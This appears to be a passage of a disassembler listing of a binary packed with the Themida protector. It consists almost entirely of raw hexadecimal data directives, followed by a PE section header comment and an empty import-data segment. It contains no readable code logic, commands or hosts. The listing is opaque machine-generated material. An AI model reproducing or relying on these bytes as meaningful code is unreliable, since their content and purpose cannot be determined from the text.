		dd 10E85F33h, 0F1000000h, 12B933E0h, 9C2CF95Ah,	0C9CE4EBAh
		dd 6640360Dh, 0E026CF81h, 0ABBCB95Eh, 0AE85B3Bh, 17000000h
		dd 95A95276h, 0A6809BEAh, 1AB9666Ah, 0D68B5EC9h, 6ADBB1BFh
		dd 7E97Ch, 34A70000h, 6BC44B9Fh, 31B960E7h, 0BB05F6ECh
		dd 479B4B97h, 0ADF48061h, 0EE9h, 14099100h, 499ADAh, 48CFB635h
		dd 0E90A94B7h, 11h, 0BF10BDAFh,	272ED978h, 0C93E9943h
		dd 2ECE2D9Dh, 0E98AB68Eh, 8, 5DBA25A2h,	794C30E8h, 0DE8h
		dd 0C21CD500h, 0C9AA389Bh, 0EA8D4A41h, 0CE897A3h, 27000000h
		dd 5B589D82h, 12DFD671h, 0E9A6B170h, 0Fh, 8F30A108h, 0C515D8Dh
		dd 782F5881h, 5F184229h, 3840F59h, 50000000h, 32B45EF5h
		dd 4800Fh, 0BE660000h, 860F1704h, 13h, 0EE9h, 0CD561C00h
		dd 0B131F4D7h, 0D1DE7FB5h, 0B84D6739h, 6E549C9Fh, 0FC38B66h
		dd 18Dh, 5160F500h, 0B15EEAB7h,	5E8616Bh, 41000000h, 3FF01EB3h
		dd 42A24FB9h, 0B8665F03h, 0BF66858Eh, 890F1985h, 0Bh, 58B0Fh
		dd 81660000h, 0E95FBDF7h, 13h, 947854EEh, 0A2C87B75h, 6B3C95Ch
		dd 29CD6869h, 80DB960Dh, 0BE9CFD9h, 26000000h, 0E24713B2h
		dd 0AE115658h, 14E832DEh, 0A3000000h, 712503FAh, 33ACFDF8h
		dd 0A4D7FD45h, 0F1237AB0h, 0E9B02ED8h, 10h, 0E5AC9F5h
		dd 0FF44F157h, 2B6BD8A4h, 58B79C17h, 8AD88B5Fh,	0FF8F5C5h
		dd 0BE66FBB7h, 0D38B3C35h, 956FAFBAh, 0FAB70F0Eh, 9E9h
		dd 60D33700h, 76EB6F32h, 0F6081CEh, 283h, 607DB600h, 61606160h
		dd 0E28A6161h, 86B86660h, 0E7B8668Dh, 830F61F2h, 1Bh, 10E8h
		dd 31281E00h, 11A7459Dh, 29EAB36Dh, 0A92332CCh,	0C08166C4h
		dd 6059F7DFh, 10E9h, 95237E00h,	0D68A0BACh, 0D5A0DB22h
		dd 0ABDB4BD4h, 0E96061F5h, 8, 5C951388h, 78CE5AAh, 22E1BE66h
		dd 8E961h, 28DD0000h, 0EC737686h, 0B70F12B0h, 7E8F3h, 0AD7A0000h
		dd 3E8B2167h, 0EE8CBh, 0B9E50000h, 0B2A7904Ch, 33E5FBAAh
		dd 0D6B5BE2Ch, 680397BBh, 0E9585F2Dh, 5, 6FDDE8E0h, 2860F4Ch
		dd 8A000000h, 0B6F3B1FCh, 0FE952A0h, 0BB000000h, 0B757A4CCh
		dd 0E95B302Dh, 25135865h, 0F595FC1h, 586h, 0C6816600h
		dd 0CE93AC6h, 50000000h, 0E5A78960h, 9E9DC027h,	0B74ABC48h
		dd 0C681666Eh, 66F97C22h, 66FA8ABAh, 1C51C381h,	5BDA8B53h
		dd 964EBB66h, 0B0D7B70Fh, 198A0FD4h, 0E9000000h, 14h, 2290E1C1h
		dd 0B2DFB645h, 1F702072h, 18AE4386h, 3AC373FBh,	4E91B866h
		dd 0FEAEF80h, 985h, 38B0F00h, 80000000h, 806004CAh, 0B866FDEDh
		dd 66612374h, 81C395BBh, 28663ACAh, 0E6816640h,	8166F977h
		dd 667C34F3h, 66F0D0BBh, 0C181C78Bh, 1D09CF10h,	0BE9FCh
		dd 20A60000h, 806E4064h, 8F8E04F3h, 0EE8166FBh,	0B866F670h
		dd 0D680D271h, 0CE8A0h,	6C370000h, 709718CAh, 1624960Ch
		dd 8166FD1Eh, 5A8046D3h, 0BD4FBF66h, 8166E5B4h,	666768E8h
		dd 0C84CC681h, 0B5CEB70Fh, 0BE8CDh, 482A0000h, 56E02E88h
		dd 0F41DB1A9h, 0F6BF0F67h, 8D0F565Ah, 6, 880Fh,	0E95B0000h
		dd 8, 0A4EEDEB2h, 0E6C86F19h, 0BF0FC0B1h, 90EF80D1h, 9E9h
		dd 4472EE00h, 1EC72C6h,	0D68B65EEh, 8B66D78Bh, 12E9C6h
		dd 0FFE00000h, 114E8720h, 567683B6h, 70B07A77h,	80F9C0Fh
		dd 48B0Fh, 0B9660000h, 0E857473Ah, 11h,	735510F3h, 0E1F08075h
		dd 30CF2EF1h, 0DAF9D04Dh, 49B966CDh, 0E95F5FF4h, 0Ah, 0AE167447h
		dd 0B621F815h, 0E7800B13h, 0CF816610h, 870FD437h, 0Bh
		dd 5810Fh, 81660000h, 0F17CAC9h, 0E89h,	6E85200h, 40000000h
		dd 5027585h, 0F5A5E4Eh,	38Fh, 0D68B6600h, 0E824F680h, 0Ch
		dd 0F945A729h, 0B601E485h, 3E9505B3h, 13E853h, 98F90000h
		dd 44CCDB8Eh, 0F9FA91E8h, 84417B8Ch, 3B545F66h,	5F595921h
		dd 0DD68EE81h, 93BB5BFFh, 0E951483Dh, 9, 0B05BE999h, 6CD09A2Bh
		dd 0DE88Dh, 7D040000h, 2672300Eh, 8C105486h, 5A71C8C0h
		dd 14E8h, 71ECC200h, 58C7CB81h,	9C601D85h, 58AE83AEh, 0E4BBD292h
		dd 0E98166EFh, 8B5E2B83h, 830F51D1h, 6,	880Fh, 0F5E0000h
		dd 0B82h, 6E900h, 0EB070000h, 0D0A6960Eh, 9E9h,	0BC66E300h
		dd 48201A48h, 0BF66FF1Eh, 880F38B2h, 6,	36EBE381h, 0BF0F03B7h
		dd 5830FD3h, 0BB000000h, 2516AC50h
		dd 3830Fh, 8B660000h, 0B70F60F1h, 0FB96BED6h, 0F5617075h
		dd 0A7DB8166h, 0AE9C6h,	0E8E0000h, 88167643h, 2F9C2F5Ch
		dd 0E9C6BF0Fh, 9, 2D967712h, 9DC549D9h,	800F50F1h, 2, 0F5BE88Ah
		dd 0B70FD1BFh, 0BAB966F1h, 0CE816601h, 0D781239Bh, 79AF392Dh
		dd 6615D080h, 2123C081h, 3850F50h, 66000000h, 0E959F18Bh
		dd 0Eh,	5F07B549h, 0D7782D4Fh, 29C187F9h, 6E97969h, 29000000h
		dd 4D6B3A19h, 0B7D98BE9h, 71BB6675h, 0FC68AA5h,	38Bh, 0DF8B6600h
		dd 0BE9h, 977E9700h, 0B7C58B86h, 0DF66048Bh, 6E9h, 0B93FB500h
		dd 8B9C5DC6h, 15840FFEh, 0E9000000h, 10h, 245FF62Ch, 0CCBB3A49h
		dd 2DB757A4h, 65E95B30h, 12E9h,	43C000h, 4203496Fh, 0FC79DD7Ah
		dd 223DEBECh, 0E9BE2170h, 0Ah, 25263377h, 5968A5A6h, 8060B04Ch
		dd 0CF8B0AD8h, 93BEF861h, 8168293Ch, 62244DD1h,	0AE977h
		dd 69540000h, 8E9BE8BEh, 84FE5434h, 88D0Fh, 8F0F0000h
		dd 2, 820F5951h, 9, 3890Fh, 8B660000h, 8E9FAh, 0CFD00000h
		dd 6A264E42h, 666052BFh, 81ED0DBFh, 7FA93FE8h, 81666161h
		dd 8BCCEFE9h, 1EF480D0h, 7FA6DF81h, 81662DBAh, 812F46C1h
		dd 0DA6EAFEEh, 2BE6810Bh, 0E802E138h, 0Ah, 3E7AAD5Fh, 3DEE69A4h
		dd 0F5BFC47h, 8166C8B7h, 0B082F2E7h, 0D1816673h, 33B4175Eh
		dd 5E9h, 3AC6D00h, 0DBBCEF7h, 66543167h, 0F7509BAh, 58Ch
		dd 0E7816600h, 0BF0F097Ah, 3880FD7h, 66000000h,	0C7BAF08Bh
		dd 601F3ABBh, 4E975BBBh, 0C2B70F4Ah, 0FCA8B61h,	80h, 665AB100h
		dd 516613BEh, 0DE95Ah, 913D0000h, 96447F5h, 83381h, 66AAEABAh
		dd 0CAEBE081h, 0C78157F8h, 24258AB5h, 84BA665Fh, 6681B772h
		dd 0EFF4C281h, 3860Fh, 0B70F0000h, 0BE9F9C2h, 0C2000000h
		dd 0C33FBFADh, 8DB49C66h, 0C68AB6A4h, 4983BF66h, 0F28BC28Bh
		dd 80D98B66h, 4B606DDh,	0AC436BBBh, 3A9ABF4Dh, 80F5520Bh
		dd 0B70F5AC4h, 10E8C9h,	9ACD0000h, 0D97A06A2h, 5ED9C838h
		dd 0A6A076B5h, 0BB66E38Ah, 0E958F860h, 9, 0D10209F7h, 7ECD87F5h
		dd 0F181660Dh, 8B66280Fh, 0FE8B66FEh, 61F38B60h, 0EE9h
		dd 2C1D00h, 669D98FEh, 0FD793CC6h, 0E884A9E3h, 8, 6111B302h
		dd 6AEFB476h, 7E850h, 97310000h, 87A43C23h, 585858C2h
		dd 13E8F9h, 1A4E0000h, 5E6486B6h, 0AAC6ACDAh, 655D3937h
		dd 40714B4h, 5EB96622h,	8E0F5FF3h, 8, 28B0Fh, 0C78B0000h
		dd 0BE8h, 0A368CF00h, 0FA69F80Dh, 57440961h, 0F5A75B6h
		dd 1481h, 0FE900h, 0BFB20000h, 0B3B206AAh, 0C6BD5DC1h
		dd 61DBE919h, 61B73618h, 414h dup(61B736D0h), 2Ah dup(34E67A6Bh)
		dd 0F4E7A6Bh, 1B7h dup(0F4E7679h), 0B6592D79h, 0Bh dup(0B6592D76h)
dword_612D20	dd 0C9h	dup(0B6592D76h), 65F6376h, 38h dup(65F6397h), 2F2h dup(0D7DCC1F4h)
					; DATA XREF: ___:off_4455F8o
		dd 6048C1F4h, 365h dup(6048457Bh), 0CC48457Bh, 6A2h dup(0CCCCCCCCh)
		dd 0CCh, 1CDh dup(0)
		db 2 dup(0)
word_616C4E	dw 0			; DATA XREF: ___:off_44530Co
		dd 1CECh dup(0)
Themida_	ends

; Section 5. (virtual address 0021E000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0021E000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 61E000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start